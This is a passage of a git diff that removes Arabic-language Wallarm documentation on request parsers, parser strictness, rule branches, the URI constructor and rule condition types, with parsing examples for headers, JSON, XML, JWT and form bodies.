      • `[query, 'p3', pollution]` — `1,2`
      - -### عنوان IP لأصل الطلب - -الوسيط المطلوب لعنوان IP لأصل الطلب في قواعد Wallarm هو `remote_addr`. يتم استخدام هذا الوسيط فقط في القاعدة [**تحديد حد الطلبات**](rate-limiting.md) لتحديد الطلبات لكل الأي بي. - -### الرؤوس - -تتم تقديم الرؤوس في طلب HTTP وبعض التنسيقات الأخرى (مثلا، **multipart**). الوسم **header** يتوافق مع المحلل. دائما ما يتم تحويل أسماء الرؤوس إلى حالة علوية. - -مثلا: - -``` -GET / HTTP/1.1 -Host: example.com -X-Test: aaa -X-Test: bbb -``` - -* `[header, 'HOST']` — `example.com` -* `[header, 'X-TEST', array, 0]` — `aaa` -* `[header, 'X-TEST', array, 1]` — `aaa` -* `[header, 'X-TEST', pollution]` — `aaa,bbb` - -### البيانات الفوقية - -الوسوم التالية تتوافق مع محلل بيانات فوقية الطلب HTTP: - -* **post** لجسم الطلب HTTP -* **method** لطريقة الطلب HTTP: `GET`, `POST`, `PUT`, `DELETE` -* **proto** لنسخة بروتوكول HTTP -* **scheme**: http/https -* **application** لمعرف التطبيق - -### محللات إضافية - -قد تتطلب أجزاء الطلب المعقدة تحليل إضافي (مثلا، إذا تم ترميز البيانات في Base64 أو عرضها في تنسيق المصفوفة). في هذه الحالات، يتم تطبيق المحللات المدرجة أدناه بشكل إضافي على أجزاء الطلب. - -#### base64 - -يفك ضغط البيانات المشفرة في Base64، ويمكن تطبيقه على أي جزء من الطلب. - -#### gzip - -يفك ضغط البيانات المضغوطة بواسطة GZIP، ويمكن تطبيقه على أي جزء من الطلب. - -#### htmljs - -يحول رموز HTML وJS إلى التنسيق النصي، ويمكن تطبيقه على أي جزء من الطلب. - -مثلا: `"aaa"` سوف يتم تحويلها إلى `"aaa"`. - -#### json_doc - -يحلل البيانات بتنسيق JSON، ويمكن تطبيقه على أي جزء من الطلب. - -المرشحات: - -* **json_array** أو **array** لقيمة عنصر الصف -* **json_obj** أو **hash** لقيمة مفتاح الصف المرتبط (`key:value`) - -مثلا: - -``` -{"p1":"value","p2":["v1","v2"],"p3":{"somekey":"somevalue"}} -``` - -* `[..., json_doc, hash, 'p1']` — `value` -* `[..., json_doc, hash, 'p2', array, 0]` — `v1` -* `[..., json_doc, hash, 'p2', array, 1]` — `v2` -* `[..., json_doc, hash, 'p3', hash, 'somekey']` — `somevalue` - -#### xml - -يحلل البيانات بتنسيق XML، ويمكن تطبيقه على أي جزء من الطلب. - -المرشحات: - -* **xml_comment** لصف مع التعليقات في جسم وثيقة XML -* **xml_dtd** لعنوان الخطة الخارجية للتوثيقة التي يتم استخدامها -* **xml_dtd_entity** لصف محدد في الوثيقة المعرفة بـ Entity DTD -* **xml_pi** لصف الأوامر المستخدمة في المعالجة -* **xml_tag** أو **hash** لصف مرتبط من الوسوم -* **xml_tag_array** أو **array** لصف قيم الوسم -* **xml_attr** لصف مرتبط من الصفات؛ يمكن استخدامها فقط بعد فلتر **xml_tag** - -محلل XML لا يميز بين محتويات الوسم والعنصر الأول في صف قيم الوسم. أي أن المعلمات `[..., xml, xml_tag, 't1']` و `[..., xml, xml_tag, 't1', array, 0]` متطابقة وقابلة للتبادل. - -مثلا: - -``` - -]> - - - - &xxe; - 123 - 234 - -``` - -* `[..., xml, xml_dtd_entity, 0]` — name = `xxe`, value = `aaaa` -* `[..., xml, xml_pi, 0]` — name = `xml-stylesheet`, value = `type="text/xsl" href="style.xsl"` -* `[..., xml, xml_comment, 0]` — ` test ` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodName']` — `aaaa` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs']` — `123` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs', xml_attr, 'check']` — `true` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs', array, 1]` — `234` - -#### array - -يحلل صف البيانات. يمكن تطبيقه على أي جزء من الطلب. - -مثلا: - -``` -/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb -``` - -* `[query, 'p2', array, 0]` — `aaa` -* `[query, 'p2', array, 1]` — `bbb` - -#### hash - -يحليل الصف الذي يحتوي على بيانات ذات صلة (`key:value`)، ويمكن تطبيقه على أي جزء من الطلب. - -مثلا: - -``` -/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb -``` - -* `[query, 'p1', hash, 'x']` — `1` -* `[query, 'p1', hash, 'y']` — `2` - -#### pollution - -يجمع قيم المعاملات التي تحمل نفس الاسم، ويمكن تطبيقه على أي جزء من الطلب بالتنسيق الأصلي أو المفكوك. - -مثلا: - -``` -/?p3=1&p3=2 -``` - -* `[query, 'p3', pollution]` — `1,2` - -#### percent - -يفك ضغط رموز العنوان، ويمكن تطبيقه فقط على مكون **uri** من العنوان. - -#### cookie - -يحلل معاملات الطلب Cookie، ويمكن تطبيقه فقط على رؤوس الطلب. - -مثلا: - -``` -GET / HTTP/1.1 -Cookie: a=1; b=2 -``` - -* `[header, 'COOKIE', cookie, 'a']` = `1`; -* `[header, 'COOKIE', cookie, 'b']` = `2`. - -#### form_urlencoded - -يحلل جسم الطلب الذي تم تمريره في تنسيق `application/x-www-form-urlencoded`، ويمكن تطبيقه فقط على جسم الطلب. - -مثلا: - -``` -p1=1&p2[a]=2&p2[b]=3&p3[]=4&p3[]=5&p4=6&p4=7 -``` - -* `[post, form_urlencoded, 'p1']` — `1` -* `[post, form_urlencoded, 'p2', hash, 'a']` — `2` -* `[post, form_urlencoded, 'p2', hash, 'b']` — `3` -* `[post, form_urlencoded, 'p3', array, 0]` — `4` -* `[post, form_urlencoded, 'p3', array, 1]` — `5` -* `[post, form_urlencoded, 'p4', array, 0]` — `6` -* `[post, form_urlencoded, 'p4', array, 1]` — `7` -* `[post, form_urlencoded, 'p4', pollution]` — `6,7` - -**grpc** - -يحلل طلبات واجهة البرمجة API من gRPC، ويمكن تطبيقه فقط على جسم الطلب. - -يدعم فلتر **protobuf** لبيانات Protocol Buffers. - -#### multipart - -يحلل جسم الطلب الذي تم تمريره في تنسيق `multipart`، ويمكن تطبيقه فقط على جسم الطلب. - -يدعم فلتر **header** للرؤوس في جسم الطلب. - -مثلا: - -``` -p1=1&p2[a]=2&p2[b]=3&p3[]=4&p3[]=5&p4=6&p4=7 -``` - -* `[post, multipart, 'p1']` — `1` -* `[post, multipart, 'p2', hash, 'a']` — `2` -* `[post, multipart, 'p2', hash, 'b']` — `3` -* `[post, multipart, 'p3', array, 0]` — `4` -* `[post, multipart, 'p3', array, 1]` — `5` -* `[post, multipart, 'p4', array, 0]` — `6` -* `[post, multipart, 'p4', array, 1]` — `7` -* `[post, multipart, 'p4', pollution]` — `6,7` - -إذا تم تحديد اسم الملف في العنوان `Content-Disposition`، فإن الملف يعتبر كأنه تم تحميله في هذا المعامل. سيكون المعامل على الشكل التالي: - -* `[post, multipart, 'someparam', file]` — contents of the file - -#### viewstate - -مصمم لتحليل حالة الجلسة. يستخدم هذة التكنولوجيا من قبل Microsoft ASP.NET، ويمكن تطبيقه فقط على جسم الطلب. - -المرشحات: - -* **viewstate_array** لصف -* **viewstate_pair** لصف -* **viewstate_triplet** لصف -* **viewstate_dict** لصف مرتبط -* **viewstate_dict_key** للسلسلة -* **viewstate_dict_value** للسلسلة -* **viewstate_sparse_array** لصف مرتبط - -#### jwt - -يحلل الرموز JWT ويمكن تطبيقه على أي جزء من الطلب. - -يعيد محلل JWT النتائج في المعلمات التالية وفقا لهيكل JWT المكتشف: - -* `jwt_prefix`: أحد البادئات القيمة لـ JWT المدعومة - lsapi2, mobapp2, bearer. يقرأ المحلل قيمة البادئة في أي تسجيل. -* `jwt_header`: عنوان JWT. بمجرد الحصول على القيمة، يطبق Wallarm عادة أيضا المحللين [`base64`](#base64) و [`json_doc`](#json_doc) عليه. -* `jwt_payload`: حمولة JWT. بمجرد الحصول على القيمة، يطبق Wallarm عادة أيضا المحللين [`base64`](#base64) و [`json_doc`](#json_doc) عليه. - -يمكن تمرير الرموز JWT في أي جزء من الطلب. لذلك، قبل تطبيق محلل `jwt` يستخدم Wallarm محلل الجزء الطلب المحدد، مثلا، [`query`](#query-string-parameters) أو [`header`](#headers). - -مثال على الـ JWT الممرر في العنوان `Authentication`: - -```bash -Authentication: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c -``` - -* `[header, AUTHENTICATION, jwt, 'jwt_prefix']` — `Bearer` -* `[header, AUTHENTICATION, jwt, 'jwt_header', base64, json_doc, hash, 'alg']` — `HS256` -* `[header, AUTHENTICATION, jwt, 'jwt_header', base64, json_doc, hash, 'typ']` — `JWT` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'sub']` — `1234567890` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'name']` — `John Doe` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'iat']` — `1516239022` - -عند تعريف عنصر الطلب الذي يتم تطبيق الـ [قاعدة](rules.md) عليه: - -* اختر أولا محلل الجزء الطلب الذي يحتوي JWT -* حدد أحد المعاملات `jwt_*` المدرجة كقيمة لمحلل `jwt`، مثلا، لقيمة معامل الحمولة `name` JWT : - -![JWT param desc in a rule](../../images/user-guides/rules/request-element-desc.png) - -### التشدد - -يتم تطبيق التشدد على محللات البيانات من أنواع الصف والمفتاح. يتم استخدام التشدد لتحديد حدود تحليل البيانات. تتم الإشارة إلى قيمة التشدد في وسم المحلل. مثلا: **hash_all**، **hash_name**. - -إذا لم يتم تحديد التشدد، فيتم تمرير معرف الكيان الذي يتطلب المعالجة إلى المحلل. على سبيل المثال: يتم تمرير اسم كائن JSON أو معرف آخر بعد **hash**. - -**all** - -يستخدم للحصول على قيم جميع العناصر، المعملات، أو الأجسام. مثلا: - -* **path_all** لجميع أجزاء المسار URL -* **query_all** لجميع قيم معايير سلسلة الاستعلام -* **header_all** لجميع قيم الرؤوس -* **array_all** لجميع قيم عناصر الصف -* **hash_all** لجميع قيم الكائنات JSON أو الصفات xml -* **jwt_all** لجميع قيم JWT - -**name** - -يستخدم للحصول على أسماء جميع العناصر، المعايير، أو الأجسام. على سبيل المثال: - -* **query_name** لجميع أسماء معايير سلسلة الاستعلام -* **header_name** لجميع أسماء الرؤوس -* **hash_name** لجميع أسماء الكائنات JSON أو الصفات xml -* **jwt_name** لأسماء جميع المعاملات التي تحمل JWT - -## التحكم في المحللات - -بشكل افتراضي، عند تحليل الطلب، يحاول موضع Wallarm تطبيق كل من [المحللات](request-processing.md) المناسبة تسلسلا على كل عنصر من الطلب. ومع ذلك، يمكن تطبيق بعض المحللات بشكل خاطئ وكنتيجة لذلك، قد يكشف موضع Wallarm عن علامات هجوم عقب فك الترميز. - -على سبيل المثال: قد يحدد موضع Wallarm بشكل خاطئ البيانات غير المشفرة كمشفرة في [Base64](https://en.wikipedia.org/wiki/Base64)، حيث أنه يتم استخدام الرموز الأبجدية للـ Base64 في النص العادي، وقيم الرموز، وقيم UUID وتنسيقات البيانات الأخرى. إذا تم فك ترميز البيانات غير المشفرة والكشف عن علامات الهجوم في القيمة الناتجة، فيعتبر ذلك [إيجابي كاذب](../../about-wallarm/protecting-against-attacks.md#false-positives). - -لتجنب الإيجابيات الكاذبة في هكذا حالات، يوفر Wallarm قاعدة **تعطيل/تمكين محلل الطلب** لتعطيل المحللات التي تم تطبيقها بشكل خاطئ على بعض عناصر الطلب. - -**انشاء وتطبيق القاعدة** - ---8<-- "../include/waf/features/rules/rule-creation-options.md" - -**مثال على القاعدة** - -لنفترض أن الطلبات إلى `https://example.com/users/` تتطلب العنوان التوثيقي `X-AUTHTOKEN`. قد تحتوي قيمة العنوان على تركيبات الرموز الخاصة (مثلا، `=` في النهاية) التي قد تتم ترجمتها بشكل غير صحيح من قبل Wallarm باستخدام محلل `base64` مما يؤدي إلى الكشف الكاذب عن علامة هجوم. تحتاج إلى منع هذا الترميز لتجنب الإيجابيات الكاذبة. - -للقيام بذلك، قم بتعيين القاعدة **تعطيل/تمكين محلل الطلب** كما هو معروض في الصورة الشاشة: - -![Example of the rule "Disable/Enable request parser"](../../images/user-guides/rules/disable-parsers-example.png) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/rules/rules.md b/docs/latest-ar/user-guides/rules/rules.md deleted file mode 100644 index 71126f9c72..0000000000 --- a/docs/latest-ar/user-guides/rules/rules.md +++ /dev/null @@ -1,432 +0,0 @@ -[link-regex]: https://github.com/yandex/pire -[link-request-processing]: request-processing.md -[img-add-rule]: ../../images/user-guides/rules/section-rules-add-rule.png - -# القواعد - -تُستخدم القواعد لضبط [السلوك الافتراضي](../../about-wallarm/protecting-against-attacks.md#tools-for-attack-detection) لـ Wallarm أثناء تحليل الطلبات ومعالجتها بعد ذلك. وبالتالي، باستخدام القواعد، يمكنك تغيير الطريقة التي يكتشف بها النظام الطلبات الخبيثة وكيف يتصرف عند اكتشاف طلبات خبيثة مثل هذه. - -يتم تكوين القواعد في قسم **القواعد** في السحابة [الأمريكية](https://us1.my.wallarm.com/rules) أو السحابة [الأوروبية](https://my.wallarm.com/rules). - -![القسم القواعد](../../images/user-guides/rules/section-rules.png) - -!!! warning "تأخير تطبيق القاعدة" - عند إجراء تغييرات على القواعد، فإنها لا تسري فورا بحيث يستغرق بعض الوقت لـ [تجميع القواعد](#ruleset-lifecycle) وتحميلها إلى العقد الفاصلة. - -## ما يمكنك القيام به بالقواعد - -باستخدام القواعد، يمكنك توفير تدابير الحماية المتعددة لتطبيقاتك وواجهات برمجة التطبيقات، وكذلك ضبط كيفية اكتشاف الهجمات وكيف يعمل عقد Wallarm وبعض مكونات Wallarm: - -* [تعيين معدل الحد](../../user-guides/rules/rate-limiting.md) -* [تطبيق رقعة افتراضية](../../user-guides/rules/vpatch-rule.md) -* [إنشاء قاعدة كشف خاصة بك](../../user-guides/rules/regex-rule.md) -* [تغطية البيانات الحساسة](../../user-guides/rules/sensitive-data-rule.md) -* ضبط وظيفة العقدة بواسطة [تحديد وقت معالجة الطلب](../../user-guides/rules/configure-overlimit-res-detection.md) -* ضبط معالجة الطلب بواسطة [إدارة محللات الطلب](../../user-guides/rules/request-processing.md#managing-parsers) -* تكوين الطبقة الإضافية لأمان التطبيق بواسطة [تغيير رؤوس استجابة الخادم](../../user-guides/rules/add-replace-response-header.md) -* ضبط كشف الهجمات عن طريق الضبط على [تجاهل أنواع الهجمات المعينة](../../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-types) وإلى [تجاهل بعض علامات الهجمات في البيانات الثنائية](../../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-signs-in-the-binary-data) - -## فروع القاعدة - -تتم تجميع القواعد تلقائياً إلى فروع متداخلة حسب نقاط النهاية لـ URIs والأحكام الأخرى. هذا يبني بنية شجرية حيث تُرَث القواعد تحت. المبادئ: - -* تُرث جميع الفروع [القواعد الافتراضية](#default-rules). -* في فرع، ترث نقاط النهاية الفرعية القواعد من الأب. -* له الجدة أولوية عن المُرثى. -* لديه المُحدَّد مباشرة أولوية على [regex](rules.md#condition-type-regex). -* حالات [الحساسة](rules.md#condition-type-equal) لها الأولوية على [غير الحساسة](rules.md#condition-type-iequal-aa). - -![نظرة عامة على علامة القواعد](../../images/user-guides/rules/rules-overview.png) - -### القواعد الافتراضية - -يمكنك إنشاء قواعد بإجراء محدّد ولكنها ليست مرتبطة بنقطة نهاية – وهي تُسمى **القواعد الافتراضية**. تُطبق مثل هذه القواعد على جميع النقاط النهائية. - -* لإنشاء قاعدة افتراضية، اتبع [الإجراء القياسي](#configuring) ولكن اترك URI فارغا. ستتم إنشاء قاعدة جديدة غير مرتبطة بأي نقطة نهاية. -* لعرض قائمة القواعد الافتراضية المنشأة، انقر على الزر **القواعد الافتراضية**. -* القواعد الافتراضية مُرثى بواسطة جميع الفروع. - -!!! info "قاعدة الوضع الافتراضي لترشيح حركة المرور" - تُنشئ Wallarm تلقائياً قاعدة "تحديد وضع الترشيح" الافتراضية لجميع العملاء وتضبط قيمتها على أساس [إعداد الوضع العام للتصفية](../../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console). - -### عرض قواعد الفرع - -هذه بعض تفاصيل كيفية العمل مع فروع القاعدة: - -* لتوسيع نقطة النهاية، انقر على الدائرة الزرقاء. -* النقاط النهائية التي ليست لديها قواعد متميزة مظللة وغير قابلة للنقر. - - ![فرع من النقاط النهائية](../../images/user-guides/rules/rules-branch.png) - -* لعرض القواعد لنقطة النهاية، انقر عليها. أولا، ستتم عرض القواعد المميزة لهذه النقطة النهائية. -* عند عرض قائمة القواعد لنقطة النهاية المحددة، انقر على **قواعد مميزة ومُرثى** لعرض تلك المُرثى. ستتم عرض القواعد المُرثى مع المميزة؛ ستكون غامقة مقارنة بالمميزة. - - ![قواعد مميزة ومُرثى لنقطة النهاية](../../images/user-guides/rules/rules-distinct-and-inherited.png) - -## التكوين - -لإضافة قاعدة جديدة، انتقل إلى قسم **القواعد** في السحابة [الأمريكية](https://us1.my.wallarm.com/rules) أو السحابة [الأوروبية](https://my.wallarm.com/rules). يمكن إضافة القواعد إلى كلاً من [الفروع](#rule-branches) الموجودة ومن الألف والى الياء والتي ستنشئ فرعا جديدا إذا لم يكن موجودا. - -![إضافة قاعدة جديدة][img-add-rule] - -لاحظ أنه يتم تطبيق القاعدة على الطلب فقط إذا تم استيفاء بعض الشروط (مثل نقطة النهاية المستهدفة، الوسيلة، وجود بعض المعلمات أو القيم، إلخ.). أيضا، غالباً ما يتم تطبيقه فقط على بعض أجزاء الطلب. للحصول على فهم أفضل لتفاعل بنية الطلب مع القواعد، من الجيد أن تتعلم كيف يقوم العقدة الفاصلة [بتحليل الطلبات][link-request-processing]. - -يمكن تحديد شروط القاعدة باستخدام: - -* [منشئ URI](#uri-constructor) - يتيح تكوين شروط القاعدة عن طريق تحديد الطريقة الطلب والنقطة النهائية في سلسلة واحدة فقط. -* [نموذج التحرير المتقدم](#advanced-edit-form) - يوسع المنشئ URI للسماح بتكوين طريقة النقطة النهائية / النقطة النهائية وشروط القاعدة الإضافية، مثل التطبيق، الرؤوس، معلمات سلسلة الاستعلام وغيرها. - -### منشئ URI - -يتيح منشئ URI تكوين شروط القاعدة عن طريق تحديد طريقة الطلب والنقطة النهائية في سلسلة واحدة فقط. - -#### الاستخدام العام - -يقدم منشئ URI: - -* المحدد لطريقة الطلب. إذا لم يتم تحديد الوسيلة، سيتم تطبيق القاعدة على الطلبات بأي وسيلة. -* حقل لنقطة النهاية للطلب الذي يقبل تنسيقات القيمة التالية: - - | التنسيق | المثال | - | ------ | ------ | - | الـ URI الكامل بما في ذلك المكونات التالية:
      • البرنامج (يتم تجاهل القيمة، يمكنك تحديد البرنامج بصراحة باستخدام النموذج المتقدم)
      • النطاق أو العنوان IP
      • المنفذ
      • المسار
      • معلمات سلسلة الاستعلام
      | `https://example.com:3000/api/user.php?q=action&w=delete`
      • `[header, 'HOST']` - `example.com:3000`
      • `[path, 0]` - `api`
      • `[path, 1]` - `∅`
      • `[action_name]` - `user`
      • `[action_ext]` - `php`
      • `[query, 'q']` - `action`
      • `[query, 'w']` - `delete`
      | - | URI مع بعض المكونات مفقودة | `example.com/api/user`
      • `[header, 'HOST']` - `example.com`
      • `[path, 0]` - `api`
      • `[path, 1]` - `∅`
      • `[action_name]` - `user`
      • `[action_ext]` - `∅`

      `http://example.com/api/clients/user/?q=action&w=delete`
      • `[header, 'HOST']` - `example.com`
      • `[path, 0]` - `api`
      • `[path, 1]` - `clients`
      • `[path, 2]` - `∅`
      • `[action_name]` - `user`
      • `[query, 'q']` - `action`
      • `[query, 'w']` - `delete`

      `/api/user`
      • ``[header, 'HOST']` - أي قيمة
      • `[path, 0]` - `api`
      • `[path, 1]` - `∅`
      • `[action_name]` - `user`
      • `[action_ext]` - `∅`
      | - | URI مع `*` تعني أي قيمة غير فارغة للمكون | `example.com/*/create/*.*`
      • `[header, 'HOST']` - `example.com`
      • `[path, 0]` - أي قيمة غير فارغة (مخفية في النموذج المتقدم)
      • `[path, 1]` - `create`
      • `[path, 2]` - `∅`
      • `[action_name]` - أي قيمة غير فارغة (مخفية في النموذج المتقدم)
      • `[action_ext]` - أي قيمة غير فارغة (مخفية في النموذج المتقدم)
        • تتطابق القيمة مع `example.com/api/create/user.php`
        ولا تطابق `example.com/create/user.php` و `example.com/api/create`.
      | - | URI مع `**` يعني أي عدد من المكونات بما في ذلك غيابها | `example.com/**/user`
      • `[header, 'HOST']` - `example.com`
      • `[action_name]` - `user`
      • `[action_ext]` - `∅`
        • القيمة تطابق `example.com/api/create/user` و `example.com/api/user`.
        القيمة لا تطابق `example.com/user`, `example.com/api/user/index.php` and `example.com/api/user/?w=delete`.

      `example.com/api/**/*.*`
      • `[header, 'HOST']` - `example.com`
      • `[path, 0]` - `api`
      • `[action_name]` - أي قيمة غير فارغة (مخفية في النموذج المتقدم)
      • `[action_ext]` - أي قيمة غير فارغة (مخفية في النموذج المتقدم)
        • تتطابق القيمة مع `example.com/api/create/user.php` و `example.com/api/user/create/index.php`
        ولا تطابق `example.com/api`, `example.com/api/user` و `example.com/api/create/user.php?w=delete`.
      | - | URI مع [التعبير العادي](#condition-type-regex) لتطابق قيم المكونات معينة (يجب أن يكون التعبير العادي محاطا بـ `{{}}`) | `example.com/user/{{[0-9]}}`
      • `[header, 'HOST']` - `example.com`
      • `[path, 0]` - `user`
      • `[path, 1]` - `∅`
      • `[action_name]` - `[0-9]`
      • `[action_ext]` - `∅`
        • القيمة تتطابق `example.com/user/3445`
        ولا تتطابق `example.com/user/3445/888` و `example.com/user/3445/index.php`.
      | - -تُحلل السلسلة المحددة في منشئ الـ URI تلقائياً في عدد من [الشروط](#conditions): - -* `method` -* `header`. يتيح منشئ الـ URI تحديد رأس الـ `HOST` فقط. -* `path`, `action_name`, `action_ext`. قبل تأكيد إنشاء القاعدة، من فضلك تأكد من أن قيم هذه أجزاء الطلب محللة بطريقة واحدة من الطرق التالية: - * قيمة صريحة لعدد معين من `path` + `action_name` + `action_ext` (اختياري) - * قيمة صريحة لـ `action_name` + `action_ext` (اختياري) - * قيمة صريحة لعدد معين من `path` بدون `action_name` وبدون `action_ext` -* `query` - -يمكن إكمال القيمة المحددة في منشئ URI بشروط أخرى متاحة فقط في [نموذج التحرير المتقدم](#advanced-edit-form). - -#### استخدام الرموز الخاصة - -هل يمكنك استخدام الرموز الخاصة عند العمل مع منشئ URI في Wallarm؟ لا ونعم. "لا" يعني أنك لا يمكنك استخدامها [بطريقة كلاسيكية](https://en.wikipedia.org/wiki/Wildcard_character)، "نعم" تعني أنك يمكنك تحقيق نفس النتيجة بالعمل مثل هذا: - -* ضمن المكونات المحللة لـ URI، بدلاً من الرموز الخاصة، استخدم التعابير العادية. -* ضع الرمز `*` أو `**` في حقل URI نفسه لاستبدال مكون واحد أو أي عدد من المكونات (انظر الأمثلة في القسم [أعلاه](#working-with-uri-constructor)). - -**بعض التفاصيل** - -تعتبر صيغة التعبير العادي مختلفة عن الرموز الخاصة الكلاسيكية، ولكن يمكن تحقيق نفس النتائج. على سبيل المثال، أنت تريد الحصول على قناع يتوافق مع: - -* `something-1.example.com/user/create.com` و -* `anything.something-2.example.com/user/create.com` - -...والتي في الرموز الكلاسيكية الخاصة ستحاول الحصول عليها بكتابة شيء مثل: - -* `*.example.com/user/create.com` - -ولكن في Wallarm، سيتم تحليل `something-1.example.com/user/create.com` إلى: - -![مثال على تحليل URI إلى المكونات](../../images/user-guides/rules/something-parsed.png) - -...حيث `something-1.example.com` هو شرط `header`-`HOST`. ذكرنا أن الرموز الخاصة لا يمكن استخدامها ضمن الشرط، لذا بدلاً من ذلك نحتاج إلى استخدام التعبير العادي: حدد نوع الشرط في REGEX ومن ثم استخدم صيغة التعبير العادي الخاصة بـ Wallarm [صيغة محددة](#condition-type-regex): - -1. لا تستخدم `*` في معنى "أي عدد من الرموز". -1. ضع كل `.` التي نريدها أن تُفسر على أنها "نقاط فعلية" في أقواس مربعة: - - `something-1[.]example[.]com` - -1. استخدم `.` بدون أقواس كبديل لـ "أي رمز" و `*` بعدها كمعدل "0 أو أكثر من التكرارات للسابقة"، لذا `.*` و: - - `.*[.]example[.]com` - -1. أضف `$` في نهاية التعبير للقول بأن ما أنشأناه يجب أن ينهي المكون الخاص بنا: - - `.*[.]example[.]com$` - - !!! info "الطريقة الأبسط" - يمكنك تجاهل `.*` وترك `[.]example[.]com$` فقط. في كلا الحالتين، ستفترض Wallarm أن أي حرف يمكن أن يظهر قبل `[.]example[.]com$` أي عدد من المرات. - - ![استخدام التعبير العادي في مكون العنوان](../../images/user-guides/rules/wildcard-regex.png) - -### النموذج المتقدم للتحرير - -النموذج المتقدم للتحرير يوسع إمكانيات [منشئ URI](#uri-constructor) (method و URI) للسماح بتكوين كلاً من هذه الشروط وشروط القاعدة الإضافية، مثل التطبيق، الرؤوس، معلمات سلسلة الاستعلام وغيرها. - -#### الشروط - -تشير الشروط إلى القيم التي يجب أن تكون موجودة في أي أجزاء من الطلب. يتم تطبيق القاعدة عند استيفاء جميع شروطها. تُدرج الشروط في قسم **If request is** القاعدة. - -تدعم الشروط التالية حاليا: - -* **التطبيق**: معرف التطبيق. -* **proto**: نسخة بروتوكول HTTP (1.0, 1.1, 2.0, ...). -* **scheme**: http أو https. -* **uri**: جزء من URL الطلب بدون النطاق (على سبيل المثال، `/blogs/123/index.php?q=aaa` للطلب المرسل إلى `http://example.com/blogs/123/index.php?q=aaa`). -* **path**, **action_name**, **action_ext** هي تسلسل مكونات URI الهرمية حيث: - - * **path**: مصفوفة بأجزاء URI مفصولة بالرمز `/` (الجزء الأخير من URI ليس مدرجا في المصفوفة). إذا كان هناك جزء واحد فقط في الـ URI، ستكون المصفوفة فارغة. - * **action_name**: الجزء الأخير من الـ URI بعد الرمز `/` وقبل الفترة الأولى (`.`). هذا الجزء من الـ URI موجود دائماً في الطلب، حتى لو كانت قيمته سلسلة فارغة. - * **action_ext**: جزء الـ URI بعد النقطة الأخيرة (`.`). قد يكون مفقودا في الطلب. -* **query**: معلمات سلسلة الاستعلام. -* **header**: رؤوس الطلب. عند إدخال اسم رأس، يتم عرض القيم الأكثر شيوعًا في قائمة منسدلة. على سبيل المثال: `HOST`, `USER-AGENT`, `COOKIE`, `X-FORWARDED-FOR`, `AUTHORIZATION`, `REFERER`, `CONTENT-TYPE`. - - !!! info "إدارة قواعد الرأس `HOST` لـ FQDNs والعناوين IP" - إذا تم تعيين رأس الـ `HOST` على FQDN، فلن يتأثر الطلبات المستهدفة لعنوان IP المرتبط بها بالقاعدة. لتطبيق القاعدة على هذه الطلبات، اضبط قيمة رأس الـ `HOST` على الـ IP المحدد في شروط القاعدة، أو أنشئ قاعدة منفصلة لكل من FQDN و IP. - - عند وضعها بعد تحميل الرصد الذي يعدل رأس الـ `HOST`، يطبق العقدة Wallarm القواعد بناءً على القيمة المُحدَّثة، وليس الأصلية. على سبيل المثال، إذا قام التوازن بالتحميل بتحويل الـ `HOST` من IP إلى نطاق، يتبع العقدة القواعد لهذا النطاق. - -* **method**: طرق الطلب. إذا لم يتم تحديد القيمة بشكل صريح، ستتم تطبيق القاعدة على الطلبات بأي وسيلة. - -#### نوع الشرط: EQUAL (`=`) - -يجب أن تتطابق القيمة بدقة مع وسيطة المقارنة. على سبيل المثال، الـ `example` فقط تتطابق مع القيمة `example`. - -!!! info "نوع الشرط EQUAL لقيمة رأس الـ HOST" - لتغطية المزيد من الطلبات مع القواعد، قمنا بتقييد نوع الشرط EQUAL لـ الرأس الـ HOST. بدلاً من نوع EQUAL، نوصي باستخدام النوع IEQUAL الذي يسمح بقيم المعلمات في أي سجل. - - إذا كنت قد استخدمت النوع EQUAL من قبل، سيتم استبداله تلقائياً بنوع الـ IEQUAL. - -#### نوع الشرط: IEQUAL (`Aa`) - -يجب أن تتطابق القيمة مع وسيطة المقارنة في أي حالة. على سبيل المثال: `example`, `ExAmple`, `exampLe` تتطابق مع القيمة `example`. - -#### نوع الشرط: REGEX (`.*`) - -يجب أن تتطابق القيمة مع التعبير العادي. - -**صيغة التعبير العادي** - -لتطابق الطلبات مع التعابير العادية، يتم استخدام مكتبة PIRE. في معظم الأحيان، صيغة التعبيرات هي القياسية ولكن لديها بعض التفاصيل الخاصة كما هو موضح أدناه وفي ملف README من [مستودع PIRE][link-regex]. - -??? info "إظهار صيغة التعبير العادي" - الأحرف التي يمكن استخدامها كما هي: - - * الأحرف اللاتينية الصغيرة: `a b c d e f g h i j k l m n o p q r s t u v w x y z` - * الأحرف اللاتينية الكبيرة: `A B C D E F G H I J K L M N O P Q R S T U V W X Y Z` - * الأرقام: `0 1 3 4 5 6 7 8 9` - * الأحرف الخاصة: ! " # % ' , - / : ; < = > @ ] _ ` } - * المساحات البيضاء - - الأحرف التي يجب وضعها في أقواس مربعة `[]` بدلاً من الهروب مع `\`: - - * `. $ ^ { [ ( | ) * + ? \ & ~` - - الأحرف التي يجب تحويلها إلى ASCII وفقا لـ ISO‑8859: - - * أحرف UTF‑8 (على سبيل المثال، الحرف `ʃ` المحول إلى ASCII هو `ʃ`) - - مجموعات الحروف: - - * `.` لأي حرف باستثناء سطر جديد - * `()` لتجميع التعابير العادية، البحث عن الرموز المتواجدة داخل `()` أو تأسيس ترتيب أولوية - * `[]` لحرف واحد متواجد داخل `[]` (حساسة الأحوال); يمكن استخدام المجموعة للحالات المعينة: - * لتجاهل الحالة (على سبيل المثال، 